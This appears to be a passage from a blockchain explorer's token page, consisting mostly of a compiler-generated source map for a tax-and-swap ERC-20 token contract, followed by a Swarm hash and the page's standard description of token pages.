99:1;7854:64:0;7946:1;7937:6;:10;7929:64;;;;-1:-1:-1;;;7929:64:0;;10735:2:1;7929:64:0;;;10717:21:1;10774:2;10754:18;;;10747:30;10813:34;10793:18;;;10786:62;-1:-1:-1;;;10864:18:1;;;10857:39;10913:19;;7929:64:0;10533:405:1;7929:64:0;8029:6;8058:7;2169;2196:6;-1:-1:-1;;;;;2196:6:0;;2131:79;8058:7;-1:-1:-1;;;;;8050:15:0;:4;-1:-1:-1;;;;;8050:15:0;;;:32;;;;-1:-1:-1;2169:7:0;2196:6;-1:-1:-1;;;;;8069:13:0;;;2196:6;;8069:13;;8050:32;:52;;;;-1:-1:-1;8092:10:0;;-1:-1:-1;;;;;8086:16:0;;;8092:10;;8086:16;;8050:52;:70;;;;-1:-1:-1;8106:14:0;;-1:-1:-1;;;8106:14:0;;;;8050:70;8046:1800;;;8142:9;;8153:1;8142:12;8139:140;;8186:77;8259:3;8186:68;8209:15;;8198:9;;:26;;8197:56;;8239:14;;8197:56;;;8226:12;;8197:56;8186:6;;:10;:68::i;:77::-;8174:9;:89;8139:140;8296:9;;:11;8293:95;;8339:33;8368:3;8339:24;8350:12;;8339:6;:10;;:24;;;;:::i;:33::-;8327:9;:45;8293:95;8416:13;;-1:-1:-1;;;;;8408:21:0;;;8416:13;;8408:21;:55;;;;-1:-1:-1;8447:15:0;;-1:-1:-1;;;;;8433:30:0;;;8447:15;;8433:30;;8408:55;:83;;;;-1:-1:-1;;;;;;8469:22:0;;;;;;:18;:22;;;;;;;;8467:24;8408:83;8404:421;;;8531:12;;8521:6;:22;;8513:60;;;;-1:-1:-1;;;8513:60:0;;11145:2:1;8513:60:0;;;11127:21:1;11184:2;11164:18;;;11157:30;11223:27;11203:18;;;11196:55;11268:18;;8513:60:0;10943:349:1;8513:60:0;8626:14;;8616:6;8600:13;8610:2;-1:-1:-1;;;;;6502:18:0;6475:7;6502:18;;;:9;:18;;;;;;;6409:119;8600:13;:22;;;;:::i;:::-;:40;;8592:79;;;;-1:-1:-1;;;8592:79:0;;11629:2:1;8592:79:0;;;11611:21:1;11668:2;11648:18;;;11641:30;11707:28;11687:18;;;11680:56;11753:18;;8592:79:0;11427:350:1;8592:79:0;8702:77;8775:3;8702:68;8725:15;;8714:9;;:26;;8713:56;;8755:14;;8713:56;;8702:77;8690:9;:89;8798:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8404:421;8850:13;;-1:-1:-1;;;;;8844:19:0;;;8850:13;;8844:19;:43;;;;-1:-1:-1;;;;;;8867:20:0;;8882:4;8867:20;;8844:43;8841:175;;;8920:80;8996:3;8920:71;8943:16;;8932:9;;:27;;8931:59;;8975:15;;8931:59;;;8961:13;;8920:6;;:10;:71::i;:80::-;8908:9;:92;8841:175;9081:4;9032:28;6502:18;;;:9;:18;;;;;;9107:6;;-1:-1:-1;;;9107:6:0;;;;9106:7;:30;;;;-1:-1:-1;9123:13:0;;-1:-1:-1;;;;;9117:19:0;;;9123:13;;9117:19;9106:30;:45;;;;-1:-1:-1;9140:11:0;;-1:-1:-1;;;9140:11:0;;;;9106:45;:89;;;;;9178:17;;9155:20;:40;9106:89;:124;;;;;9212:18;;9199:9;;:31;;9106:124;9102:680;;;9270:13;;9255:12;:28;9251:90;;;9320:1;9308:9;:13;9251:90;9379:1;9367:9;;:13;9359:49;;;;-1:-1:-1;;;9359:49:0;;12124:2:1;9359:49:0;;;12106:21:1;12163:2;12143:18;;;12136:30;12202:25;12182:18;;;12175:53;12245:18;;9359:49:0;11922:347:1;9359:49:0;9427:69;9444:51;9448:6;9456:38;9460:20;9482:11;;9456:3;:38::i;:::-;9444:3;:51::i;:::-;9427:16;:69::i;:::-;9544:21;9588:22;;9584:106;;9635:35;9648:21;9635:12;:35::i;:::-;9708:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9754:12:0;9738:13;:28;-1:-1:-1;9102:680:0;9824:9;;9813:21;;:6;;:10;:21::i;:::-;9798:36;;8122:1724;8046:1800;9861:9;;:11;9858:192;;9942:9;;9931:4;9913:24;;;;:9;:24;;;;;;:39;;:28;:39::i;:::-;9906:4;9888:24;;;;:9;:24;;;;;;;;:64;;;;9967:9;:11;;;9998:40;;1283:25:1;;;9906:4:0;;-1:-1:-1;;;;;9998:40:0;;;;;1256:18:1;9998:40:0;;;;;;;9858:192;-1:-1:-1;;;;;10076:15:0;;;;;;:9;:15;;;;;;:27;;10096:6;10076:19;:27::i;:::-;-1:-1:-1;;;;;10060:15:0;;;;;;;:9;:15;;;;;;:43;;;;10128:13;;;;;;;:31;;10146:12;10128:17;:31::i;:::-;-1:-1:-1;;;;;10114:13:0;;;;;;;:9;:13;;;;;;;:45;;;;10175:32;;;;;;;;;;10194:12;1283:25:1;;1271:2;1256:18;;1137:177;10175:32:0;;;;;;;;7764:2451;7695:2520;;;:::o;1021:190::-;1107:7;1143:12;1135:6;;;;1127:29;;;;-1:-1:-1;;;1127:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1167:9:0;1179:5;1183:1;1179;:5;:::i;:::-;1167:17;1021:190;-1:-1:-1;;;;;1021:190:0:o;1219:246::-;1277:7;1301:1;1306;1301:6;1297:47;;-1:-1:-1;1331:1:0;1324:8;;1297:47;1354:9;1366:5;1370:1;1366;:5;:::i;:::-;1354:17;-1:-1:-1;1399:1:0;1390:5;1394:1;1354:17;1390:5;:::i;:::-;:10;1382:56;;;;-1:-1:-1;;;1382:56:0;;12831:2:1;1382:56:0;;;12813:21:1;12870:2;12850:18;;;12843:30;12909:34;12889:18;;;12882:62;-1:-1:-1;;;12960:18:1;;;12953:31;13001:19;;1382:56:0;12629:397:1;1382:56:0;1456:1;1219:246;-1:-1:-1;;;1219:246:0:o;1473:132::-;1531:7;1558:39;1562:1;1565;1558:39;;;;;;;;;;;;;;;;;:3;:39::i;12015:483::-;5638:6;:13;;-1:-1:-1;;;;5638:13:0;-1:-1:-1;;;5638:13:0;;;12117:16:::1;::::0;;12131:1:::1;12117:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12117:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12117:16:0::1;12093:40;;12162:4;12144;12149:1;12144:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12144:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12188:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12188:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12144:7;;12188:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12178:4;12183:1;12178:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12178:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12253:15:::1;::::0;12221:62:::1;::::0;12238:4:::1;::::0;12253:15:::1;12271:11:::0;12221:8:::1;:62::i;:::-;12294:15;::::0;:196:::1;::::0;-1:-1:-1;;;12294:196:0;;-1:-1:-1;;;;;12294:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12375:11;;12294:15:::1;::::0;12417:4;;12444::::1;::::0;12464:15:::1;::::0;12294:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5674:6:0;:14;;-1:-1:-1;;;;5674:14:0;;;-1:-1:-1;;;;12015:483:0:o;10955:92::-;11012:10;;:27;;-1:-1:-1;;;;;11012:10:0;;;;:27;;;;;11032:6;;11012:10;:27;:10;:27;11032:6;11012:10;:27;;;;;;;;;;;;;;;;;;;10223:100;10280:7;10309:1;10307;:3;10306:9;;10314:1;10306:9;;;-1:-1:-1;10312:1:0;10223:100;-1:-1:-1;10223:100:0:o;877:136::-;935:7;962:43;966:1;969;962:43;;;;;;;;;;;;;;;;;:3;:43::i;690:179::-;748:7;;780:5;784:1;780;:5;:::i;:::-;768:17;;809:1;804;:6;;796:46;;;;-1:-1:-1;;;796:46:0;;14461:2:1;796:46:0;;;14443:21:1;14500:2;14480:18;;;14473:30;14539:29;14519:18;;;14512:57;14586:18;;796:46:0;14259:351:1;1613:189:0;1699:7;1734:12;1727:5;1719:28;;;;-1:-1:-1;;;1719:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1758:9:0;1770:5;1774:1;1770;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:226::-;2540:6;2593:2;2581:9;2572:7;2568:23;2564:32;2561:52;;;2609:1;2606;2599:12;2561:52;-1:-1:-1;2654:23:1;;2481:226;-1:-1:-1;2481:226:1:o;2712:388::-;2780:6;2788;2841:2;2829:9;2820:7;2816:23;2812:32;2809:52;;;2857:1;2854;2847:12;2809:52;2896:9;2883:23;2915:31;2940:5;2915:31;:::i;:::-;2965:5;-1:-1:-1;3022:2:1;3007:18;;2994:32;3035:33;2994:32;3035:33;:::i;:::-;3087:7;3077:17;;;2712:388;;;;;:::o;3105:118::-;3191:5;3184:13;3177:21;3170:5;3167:32;3157:60;;3213:1;3210;3203:12;3228:361;3293:6;3301;3354:2;3342:9;3333:7;3329:23;3325:32;3322:52;;;3370:1;3367;3360:12;3322:52;3409:9;3396:23;3428:28;3450:5;3428:28;:::i;3594:356::-;3796:2;3778:21;;;3815:18;;;3808:30;3874:34;3869:2;3854:18;;3847:62;3941:2;3926:18;;3594:356::o;3955:127::-;4016:10;4011:3;4007:20;4004:1;3997:31;4047:4;4044:1;4037:15;4071:4;4068:1;4061:15;4087:375;4175:1;4193:5;4207:249;4228:1;4218:8;4215:15;4207:249;;;4278:4;4273:3;4269:14;4263:4;4260:24;4257:50;;;4287:18;;:::i;:::-;4337:1;4327:8;4323:16;4320:49;;;4351:16;;;;4320:49;4434:1;4430:16;;;;;4390:15;;4207:249;;;4087:375;;;;;;:::o;4467:902::-;4516:5;4546:8;4536:80;;-1:-1:-1;4587:1:1;4601:5;;4536:80;4635:4;4625:76;;-1:-1:-1;4672:1:1;4686:5;;4625:76;4717:4;4735:1;4730:59;;;;4803:1;4798:174;;;;4710:262;;4730:59;4760:1;4751:10;;4774:5;;;4798:174;4835:3;4825:8;4822:17;4819:43;;;4842:18;;:::i;:::-;-1:-1:-1;;4898:1:1;4884:16;;4957:5;;4710:262;;5056:2;5046:8;5043:16;5037:3;5031:4;5028:13;5024:36;5018:2;5008:8;5005:16;5000:2;4994:4;4991:12;4987:35;4984:77;4981:203;;;-1:-1:-1;5093:19:1;;;5169:5;;4981:203;5216:42;-1:-1:-1;;5241:8:1;5235:4;5216:42;:::i;:::-;5294:6;5290:1;5286:6;5282:19;5273:7;5270:32;5267:58;;;5305:18;;:::i;:::-;5343:20;;4467:902;-1:-1:-1;;;4467:902:1:o;5374:140::-;5432:5;5461:47;5502:4;5492:8;5488:19;5482:4;5461:47;:::i;5519:168::-;5592:9;;;5623;;5640:15;;;5634:22;;5620:37;5610:71;;5661:18;;:::i;5882:230::-;5952:6;6005:2;5993:9;5984:7;5980:23;5976:32;5973:52;;;6021:1;6018;6011:12;5973:52;-1:-1:-1;6066:16:1;;5882:230;-1:-1:-1;5882:230:1:o;6404:245::-;6471:6;6524:2;6512:9;6503:7;6499:23;6495:32;6492:52;;;6540:1;6537;6530:12;6492:52;6572:9;6566:16;6591:28;6613:5;6591:28;:::i;7006:251::-;7076:6;7129:2;7117:9;7108:7;7104:23;7100:32;7097:52;;;7145:1;7142;7135:12;7097:52;7177:9;7171:16;7196:31;7221:5;7196:31;:::i;8175:456::-;8263:6;8271;8279;8332:2;8320:9;8311:7;8307:23;8303:32;8300:52;;;8348:1;8345;8338:12;8300:52;-1:-1:-1;;8393:16:1;;8499:2;8484:18;;8478:25;8595:2;8580:18;;;8574:25;8393:16;;8478:25;;-1:-1:-1;8574:25:1;8175:456;-1:-1:-1;8175:456:1:o;11297:125::-;11362:9;;;11383:10;;;11380:36;;;11396:18;;:::i;11782:135::-;11821:3;11842:17;;;11839:43;;11862:18;;:::i;:::-;-1:-1:-1;11909:1:1;11898:13;;11782:135::o;12274:128::-;12341:9;;;12362:11;;;12359:37;;;12376:18;;:::i;12407:217::-;12447:1;12473;12463:132;;12517:10;12512:3;12508:20;12505:1;12498:31;12552:4;12549:1;12542:15;12580:4;12577:1;12570:15;12463:132;-1:-1:-1;12609:9:1;;12407:217::o;13163:127::-;13224:10;13219:3;13215:20;13212:1;13205:31;13255:4;13252:1;13245:15;13279:4;13276:1;13269:15;13295:959;13557:4;13605:3;13594:9;13590:19;13636:6;13625:9;13618:25;13679:6;13674:2;13663:9;13659:18;13652:34;13722:3;13717:2;13706:9;13702:18;13695:31;13746:6;13781;13775:13;13812:6;13804;13797:22;13850:3;13839:9;13835:19;13828:26;;13889:2;13881:6;13877:15;13863:29;;13910:1;13920:195;13934:6;13931:1;13928:13;13920:195;;;13999:13;;-1:-1:-1;;;;;13995:39:1;13983:52;;14064:2;14090:15;;;;14055:12;;;;14031:1;13949:9;13920:195;;;-1:-1:-1;;;;;;;14171:32:1;;;;14166:2;14151:18;;14144:60;-1:-1:-1;;14235:3:1;14220:19;14213:35;14132:3;13295:959;-1:-1:-1;;;13295:959:1:o

Swarm Source

ipfs://c139b3bf199e117c259f87cb586f317a398cc53779b751d7db9fcc131e13a6a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.